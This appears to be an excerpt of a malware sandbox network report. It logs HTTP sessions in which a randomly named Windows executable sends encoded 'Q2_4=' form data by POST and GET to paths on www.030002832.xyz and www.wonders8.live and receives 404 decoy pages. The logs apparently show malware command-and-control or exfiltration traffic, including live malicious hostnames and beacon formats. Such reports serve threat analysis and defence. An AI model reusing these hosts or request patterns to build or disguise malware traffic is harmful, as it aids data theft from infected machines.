Q2_4=3JFDC3xq17RlkWGICMdJreMdnuktAfznezp+C+FB3FMKjDzeTYIl5Xti65M5onVRZJR85ms3b5YRB7AcGoYZo/ghpWmX/kRJ48diNicyfZ3eV9bhfTbR5ozF5byqZtvW1CxyAEUorHQZu35fiTdbbQfBbLOcmagdd+usYHbWt2mtKM1pzVqAhQAcGG/sDj4bIv6wpE684Tsz3gD8oZUP0Ik=
Nov 5, 2024 15:34:38.588337898 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:34:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:34:38.588388920 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49752	161.97.142.144	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:41.117851019 CET	7895	OUT	POST /o2wj/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.030002832.xyz Origin: http://www.030002832.xyz Referer: http://www.030002832.xyz/o2wj/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 33 4a 46 44 43 33 78 71 31 37 52 6c 6b 57 47 49 43 4d 64 4a 72 65 4d 64 6e 75 6b 74 41 66 7a 6e 65 7a 70 2b 43 2b 46 42 33 46 45 4b 6a 32 76 65 53 37 67 6c 36 58 74 69 6d 70 4d 30 6f 6e 56 32 5a 4a 35 34 35 6d 78 41 62 37 51 52 41 64 55 63 48 61 77 5a 2f 76 67 68 72 57 6d 4b 38 55 52 63 34 34 42 6d 4e 69 73 79 66 5a 33 65 56 2f 44 68 62 48 33 52 30 49 7a 61 2b 62 79 32 64 74 75 4a 31 43 34 48 41 45 51 34 71 32 77 5a 75 55 42 66 6e 67 31 62 58 51 66 66 63 4c 4f 55 6d 61 63 47 64 2b 61 67 59 47 76 77 74 31 47 74 49 6f 6f 78 67 42 2b 4b 69 41 4d 6e 43 33 32 61 4e 6c 30 37 57 64 4b 73 74 43 69 73 77 48 30 51 70 51 48 58 7a 4b 63 6c 33 49 4e 7a 76 49 66 44 7a 57 70 6c 65 6a 55 63 33 53 75 7a 36 30 63 4c 4a 4f 4f 44 76 69 4b 55 66 75 62 76 7a 58 6b 55 6e 59 50 31 4d 42 6b 31 4f 57 71 50 72 32 6e 42 47 64 41 63 54 42 33 6b 52 47 55 71 51 68 54 64 4c 75 78 4a 45 66 65 66 64 53 59 72 79 69 50 31 6a 44 67 72 31 53 49 70 49 62 33 2f 42 42 65 72 34 6f 49 68 57 67 79 36 44 69 66 59 4e 33 67 69 68 [TRUNCATED] Data Ascii: Q2_4=3JFDC3xq17RlkWGICMdJreMdnuktAfznezp+C+FB3FEKj2veS7gl6XtimpM0onV2ZJ545mxAb7QRAdUcHawZ/vghrWmK8URc44BmNisyfZ3eV/DhbH3R0Iza+by2dtuJ1C4HAEQ4q2wZuUBfng1bXQffcLOUmacGd+agYGvwt1GtIooxgB+KiAMnC32aNl07WdKstCiswH0QpQHXzKcl3INzvIfDzWplejUc3Suz60cLJOODviKUfubvzXkUnYP1MBk1OWqPr2nBGdAcTB3kRGUqQhTdLuxJEfefdSYryiP1jDgr1SIpIb3/BBer4oIhWgy6DifYN3gih2MTOMQnJDe0Xf3VMdvJ45olmUvWfOIxSFOerPTlB4+WO0YMr+YUXTaP9rqGtliVtWduNUhZGDuZyo1Bc8zKDaSizuY/XhSz90o5x1z5Do+Ba7OVwKF6A+OwKJ8b3unvGVbuyoJP11sFMBc+TtnTjwJKjQj5tOvQxh1EaP+j5uiBa+jDz6COvNQ1IYNw+IAPdPWO9hwxV+1fjtBxUUvX/UcxivqTyHAnHV2Nb48gMjNklIsxnvXLE8yq5CjZQrrhYE5uvwva4nH9EnnfpzVN7kxu95wceyn22YEGrwDIyOxeuLmLfR2d20i6vcmOg0Nu/ro9SvJ3KfzTCZOXKrUhC1O28D0Rxq/9lgtTTNnd3iG8X/sYayVNXpxz8C69dhNlHjW0LRmIt//zMvUG4bDAbLVXQF+liapjHB/HQcZ6fhqy8hlkBOHTFrcQC9up8W9P9/LZwgtb/IlqH7CkX+3U8QZ2gqwL5k2lFyAMBRqCuRCf2LQX8JR6Do1WAO6LXkQkMGB6FjVwi1GTSBV02Te3eguyAhu1I4ium9nNlc5aVOnfrTfMb+EYH4eAGE5PxYZt5teFRPaasWSk6hkuAaKbmlmTYj4xyyo2VH9GCi/evrOMcaVsrX8IEC23UN878OB6tziGoa9xj1piXftBVz0ga5jgaM1K2uVOvhk [TRUNCATED]
Nov 5, 2024 15:34:41.309434891 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:34:41 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc(aL`!I> [TRUNCATED]
Nov 5, 2024 15:34:41.309484959 CET	317	IN	Data Raw: f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 27 07 2f 88 08 5d b8 dd 9d c3 da 74 74 30 c5 f1 c0 04 7b 7b cc 88 10 22 a1 98 47 c4 0f 38 8a c0 41 97 ae 98 04 90 82 7e c6 a8 8b de e5 5b 46 90 0d 8e 03 08 19 Data Ascii: wlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5LznQVT)F[EG{^kTs0N[JJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49753	161.97.142.144	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:43.830497980 CET	457	OUT	GET /o2wj/?Q2_4=6LtjBDJj0uphlWGPUfsWns8NqP5UEL6FPz1cDqFjhhwngDvwQ5o3u1RN/IkqtEFfAoNcvBtCSqAXdbdyLf0jo5EGqFac5ns//rYVLRsufIrNIa29XQHyhaQ=&uXP=1HX8 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close Host: www.030002832.xyz User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
Nov 5, 2024 15:34:44.022392035 CET	1289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 05 Nov 2024 14:34:43 GMT Content-Type: text/html; charset=utf-8 Content-Length: 2966 Connection: close Vary: Accept-Encoding ETag: "66cce1df-b96" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
Nov 5, 2024 15:34:44.022435904 CET	1289	IN	Data Raw: 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 73 75 63 63 65 73 73 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 61 62 61 34 37 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 35 61 62 61 Data Ascii: ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707070;letter-spacing: -0.01em;font-size: 1.25
Nov 5, 2024 15:34:44.022479057 CET	592	IN	Data Raw: 37 20 30 2d 35 38 2e 30 30 32 2d 36 30 2e 31 36 35 2d 31 30 32 2d 31 31 36 2e 35 33 31 2d 31 30 32 7a 4d 32 35 36 20 33 33 38 63 2d 32 35 2e 33 36 35 20 30 2d 34 36 20 32 30 2e 36 33 35 2d 34 36 20 34 36 20 30 20 32 35 2e 33 36 34 20 32 30 2e 36 Data Ascii: 7 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"></path></svg></div><h1 class="animate__animated animate__fadeIn">Page Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49754	119.18.54.27	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:50.393707991 CET	726	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 57 2f 4e 4d 38 69 4a 42 38 59 41 75 55 69 36 45 56 35 70 48 30 6c 54 39 72 77 68 4b 6f 55 71 34 30 6b 2f 68 52 55 53 78 72 4e 50 50 38 6a 4a 37 6c 78 5a 6a 30 4d 70 70 39 66 70 5a 64 46 42 47 68 6e 64 76 76 2f 51 37 77 4f 79 6c 58 57 6d 76 33 72 53 44 38 66 71 66 61 41 50 61 32 73 46 4f 56 52 6b 45 76 6d 30 53 69 52 63 32 6f 6e 4a 76 6b 2f 68 76 53 6c 33 6c 53 2b 66 4b 78 48 74 35 32 37 5a 31 63 6b 45 77 31 69 39 4d 66 6e 43 54 53 47 6c 33 49 71 6c 52 32 62 58 44 4b 36 54 5a 64 69 74 77 6e 59 34 74 6b 70 72 61 61 34 4a 53 54 53 70 4c 55 77 3d 3d Data Ascii: Q2_4=5k4Kdr+CZc7NW/NM8iJB8YAuUi6EV5pH0lT9rwhKoUq40k/hRUSxrNPP8jJ7lxZj0Mpp9fpZdFBGhndvv/Q7wOylXWmv3rSD8fqfaAPa2sFOVRkEvm0SiRc2onJvk/hvSl3lS+fKxHt527Z1ckEw1i9MfnCTSGl3IqlR2bXDK6TZditwnY4tkpraa4JSTSpLUw==
Nov 5, 2024 15:34:50.887130976 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:50 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49755	119.18.54.27	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:53.335347891 CET	746	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 4d 63 6c 4d 39 43 31 42 73 49 41 74 4b 53 36 45 50 4a 70 44 30 6b 76 39 72 78 6c 61 6f 69 36 34 30 46 50 68 41 6c 53 78 71 4e 50 50 6b 7a 4a 2b 72 52 5a 6f 30 4d 6c 68 39 64 74 5a 64 45 6c 47 68 6c 46 76 76 4d 34 38 77 65 79 72 61 32 6d 74 7a 72 53 44 38 66 71 66 61 44 7a 30 32 73 64 4f 56 42 55 45 70 48 30 64 73 78 63 31 69 48 4a 76 7a 76 68 72 53 6c 33 62 53 36 2b 52 78 45 5a 35 32 35 42 31 63 78 6f 7a 75 79 39 4f 56 48 44 41 66 6d 51 64 51 62 74 61 33 59 48 37 50 50 44 37 56 55 38 71 36 71 4d 4a 6e 36 33 6f 65 49 77 36 52 51 6f 51 4a 30 41 30 57 64 45 4a 69 6e 46 63 49 5a 44 33 6e 49 33 7a 66 74 55 3d Data Ascii: Q2_4=5k4Kdr+CZc7NMclM9C1BsIAtKS6EPJpD0kv9rxlaoi640FPhAlSxqNPPkzJ+rRZo0Mlh9dtZdElGhlFvvM48weyra2mtzrSD8fqfaDz02sdOVBUEpH0dsxc1iHJvzvhrSl3bS6+RxEZ525B1cxozuy9OVHDAfmQdQbta3YH7PPD7VU8q6qMJn63oeIw6RQoQJ0A0WdEJinFcIZD3nI3zftU=
Nov 5, 2024 15:34:53.830602884 CET	643	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:53 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 358 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 8d 52 4b 4f c3 30 0c be ef 57 58 41 93 e0 b0 b6 7b 30 6d 7d 09 21 71 e1 02 37 b8 4d 59 93 b6 5e db 24 4a b2 17 13 ff 9d 74 ad 0a 1c 90 48 a4 c4 ce f7 f9 b3 6c 27 2e 6d 53 a7 a3 b8 e4 94 a5 23 70 2b 36 f6 5c f3 ce 6e 97 57 4b ca b8 86 0b 6c a5 76 46 08 d3 a5 3a 81 91 35 32 b8 c9 e7 ed 8e 7a 6c 62 a5 fa 8d cf 17 eb 15 db 0e b8 a6 0c f7 26 84 fb 60 1c c1 11 99 2d 1d 7d 16 a8 53 04 25 c7 a2 b4 83 4b 05 36 d4 a2 14 21 18 85 02 66 06 6a 14 9c 6a 40 91 a3 40 cb 23 50 d2 60 47 c9 f1 c4 59 04 d7 f4 8b 56 bb e6 b9 ed cd cf a1 94 87 8a 9f 73 4d 1b 6e 3a cd 0b 04 63 77 58 4d 85 c9 a5 6e 42 d0 d2 52 cb 6f 03 c6 8b 3b 17 09 d3 e0 0f c6 7c 39 70 3a fd d8 ff d1 b7 d8 64 1a 95 85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49756	119.18.54.27	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:56.308614016 CET	1289	OUT	POST /44hl/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.wonders8.live Origin: http://www.wonders8.live Referer: http://www.wonders8.live/44hl/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 35 6b 34 4b 64 72 2b 43 5a 63 37 4e 4d 63 6c 4d 39 43 31 42 73 49 41 74 4b 53 36 45 50 4a 70 44 30 6b 76 39 72 78 6c 61 6f 69 79 34 30 58 33 68 52 32 36 78 34 39 50 50 36 6a 4a 2f 72 52 5a 70 30 4d 4e 6c 39 64 68 76 64 48 4e 47 6e 41 5a 76 74 39 34 38 37 65 79 72 46 6d 6d 73 33 72 53 57 38 66 61 62 61 41 62 30 32 73 64 4f 56 44 63 45 71 57 30 64 68 52 63 32 6f 6e 4a 5a 6b 2f 68 44 53 6b 53 6a 53 36 37 6b 32 33 42 35 33 5a 52 31 62 48 63 7a 69 79 39 49 53 48 43 48 66 6d 4d 47 51 62 68 73 33 63 50 52 50 49 66 37 51 44 64 48 6a 34 45 4b 6d 35 33 33 43 34 73 48 52 67 6b 34 41 32 45 30 66 73 73 34 39 51 49 4a 50 49 66 76 2f 37 76 6f 42 72 77 51 43 37 55 6e 71 57 59 59 4b 39 2f 55 7a 78 73 30 4b 70 30 76 39 36 39 33 73 48 59 64 72 68 41 7a 4d 6f 47 2f 74 44 4a 77 79 77 34 53 53 75 70 6f 63 6c 73 37 72 45 64 66 44 6e 4e 4e 74 64 5a 76 39 42 6d 35 37 35 48 50 68 56 44 34 73 72 2f 6e 54 56 62 36 75 56 43 70 55 77 33 45 67 49 50 41 46 4e 6b 44 42 38 4b 59 53 66 44 73 79 51 55 36 76 48 78 74 75 [TRUNCATED] Data Ascii: Q2_4=5k4Kdr+CZc7NMclM9C1BsIAtKS6EPJpD0kv9rxlaoiy40X3hR26x49PP6jJ/rRZp0MNl9dhvdHNGnAZvt9487eyrFmms3rSW8fabaAb02sdOVDcEqW0dhRc2onJZk/hDSkSjS67k23B53ZR1bHcziy9ISHCHfmMGQbhs3cPRPIf7QDdHj4EKm533C4sHRgk4A2E0fss49QIJPIfv/7voBrwQC7UnqWYYK9/Uzxs0Kp0v9693sHYdrhAzMoG/tDJwyw4SSupocls7rEdfDnNNtdZv9Bm575HPhVD4sr/nTVb6uVCpUw3EgIPAFNkDB8KYSfDsyQU6vHxtuj02wQFBsHsHw41+KQyqtJDmkoLJHoytF+prb16vAqZGP6GeOYaXsoTPICiukS71EspXIwq7wbk61tjDJwietHJ/yS5wMylCKQb8QzPgvmKOWtfvOlGRTAgN8oVihlYv0i+j/iwycPunAikd736reL5CfBv46nBoE1uVf6kVJEY34a111gTt4w+NKgNzB6M11fgLF/292J7vND9mtKJoCpRnj+vJp3ZaqSZIAYCndFrVluWEHSFm2946aDO+nIXcvIkUPg/ewAxTqlPPit4QJqlb0OwCctt4G+60C8SVOEiEGrWQdaUY5Zk3fE+2eKK0Ej1cF8sk06cHQLGhl6at/hXi0c6yVNARmAAWkhtKXtWn2EyoPzAnhzcn/ULE4RFVwEacE/YT6dAw5JNW//vs8W1M/zDza9Ns9d2uWFPHX6
